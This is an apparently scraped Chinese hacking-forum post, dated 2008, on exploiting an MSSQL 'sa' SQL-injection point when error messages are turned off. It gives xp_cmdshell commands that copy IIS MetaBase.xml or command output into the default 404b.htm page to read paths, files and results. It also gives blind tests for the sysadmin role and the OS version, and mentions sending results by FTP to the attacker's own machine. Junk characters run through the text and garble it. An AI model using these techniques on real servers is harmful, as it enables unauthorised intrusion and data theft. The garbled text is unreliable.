遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。) g% v/ T8 x/ L' [! s
6 x. U5 J% c# Z3 X5 h1 Y, }. f) b/ V
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。7 S) D, B/ F y" g$ |8 G i
; L0 Y5 Y$ \) |( k: g7 K
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。( W. S! M8 S) r, t! W: `
" G7 {/ a0 \5 I0 C3 K) [; D; c0 |/ y IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
" k0 Z( C6 \! o2 ~; |6 B7 Y/ u+ ~: a
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
4 A' O( D2 v2 |+ |) w0 O+ p1 | t' U
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。' t4 m+ f# E) ]6 c- O- c
* a, u; ]- n, m1 [ 执行命令得到回显6 ^/ d& q; A6 Q/ d8 P
; u/ K" l6 u* V" b$ d. X$ _6 A" H 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--9 P+ g: j* X0 H0 G+ r
, n4 [& T: y5 X x/ s6 _ 得到文件也shi相同,把文件copy到404b.htm就行了
3 ]9 I& a! T" J: I9 s' b9 Y
( C& h( O, l1 m by 28ice, 2008/6/26
' \9 t) q( P# L0 O: ?& }) ?7 K9 j. U3 u7 U v# R
摘自 28度的冰
: A7 S6 v! w& W' x+ e* M3 @
+ y6 |- C- y. Q% \8 C' u 盲注判断权限和操作系统版本
: B5 G: P/ x; e! Q
. G& [' ~+ a8 c$ O- v9 | 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
2 [. e I# J8 `
- }# Y9 H. b' |/ }. I' q 最简单的,可能以用这样的方法:
' I1 U, z) _& {9 H5 k/ V6 W! _$ o7 w u w; L1 q% _. h
1=(select IS_SRVROLEMEMBER(’sysadmin’)). ^1 v/ a' M6 s( [, b9 k
/ X0 R: |* {* m+ g! Y$ k 当然,有些情况下,这个方法并不奏效。. b w0 o# k- F
* p6 i1 d* ^8 }" ` A% H
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
- D( q9 C% F. o- Y( q( p3 c5 Q# k2 e! b" k; \/ S
有个3办法可能以解决这个问题7 B o6 C. M/ U S% E) B, C
) \" j" H" S" _- i
a.把执行结果写到404b.htm,具体请看我的上一篇文章
! h& s( A9 ]8 {& \$ c: X2 o: F9 C: R3 K, _
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟" [; U" b& P. @; ^
2 N0 \* [6 E% |! T! @% S/ v: i
c.如果1433端口可能以连接,那干脆新建个sql登录1 {- E0 m. n4 K& y
, a+ M0 K' Q) K2 @& |: } d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数; d& x [. C& G0 F0 t$ u+ ^
1 _$ s( z" ^& [5 Q5 B3 p
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下9 T% L# @) `: F/ J
0 O! I8 _' M0 F5 O
很简单
, F7 Y1 _2 O- p' Q
) G! ~$ H& [2 {: c, n6 d5 M 执行systeminfo5 j- F, m2 ]- L1 W; L. L6 C' ^2 ?. v
5 A7 e* `# a- C& V
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |